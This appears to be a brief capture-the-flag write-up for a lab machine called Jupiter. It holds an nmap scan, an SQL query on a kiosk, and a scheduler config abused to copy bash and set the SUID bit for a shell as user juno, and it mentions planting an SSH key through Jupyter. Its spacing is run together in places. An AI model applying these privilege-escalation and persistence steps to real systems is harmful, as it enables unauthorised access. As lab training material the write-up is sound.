# Nmap 7.93 scan initiated Sun Jun 421:06:482023as: nmap -sC -sV -oN nmap/jupiter 10.10.11.216 Nmap scan report for10.10.11.216 Host is up (0.044s latency). Scanned at2023-06-0421:06:48 IST for9s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEJSyKmXs5CCnonRCBuHkCBcdQ54oZCUcnlsey3u2/vMXACoH79dGbOmIHBTG7/GmSI/j031yFmdOL+652mKGUI= |2566001d7db927b13f0ba20c6c900a71b41 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHhClp0ailXIfO0/6yw9M1pRcZ0ZeOmPx22sO476W4lQ 80/tcp open http nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://jupiter.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jun 421:06:572023-- 1 IP address (1 host up) scanned in 9.37 seconds
kiosk.jupiter.htb
On the Krisk we can perform SQL Queries
1 2 3 4
SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_type='BASE TABLE';
general: # stop after 10 simulated seconds stop_time:10s # old versions of cURL use a busy loop, so to avoid spinning in this busy # loop indefinitely, we add a system call latency to advance the simulated # time when running non-blocking system calls model_unblocked_syscall_latency:true
network: graph: # use a built-in network graph containing # a single vertex with a bandwidth of 1 Gbit type:1_gbit_switch
hosts: # a host with the hostname 'server' server: network_node_id:0 processes: -path:/usr/bin/cp args:/usr/bin/bash/dev/shm/f3v3r start_time:1s # three hosts with hostnames 'client1', 'client2', and 'client3' client: network_node_id:0 quantity:1 processes: -path:/usr/bin/chmod args:u+s/dev/shm/f3v3r start_time:5s
I was able to create a bash binary with suid bit set and get a shell as juno
Juno
Checking the id
1 2 3
juno@jupiter:/opt$ id uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science) juno@jupiter:/opt$
We get the token from the logs in /opt/solar-flares/logs and using that we get access to juptor
Using the jupyter we can inject python code and use that to put my ssh key in authorized_keys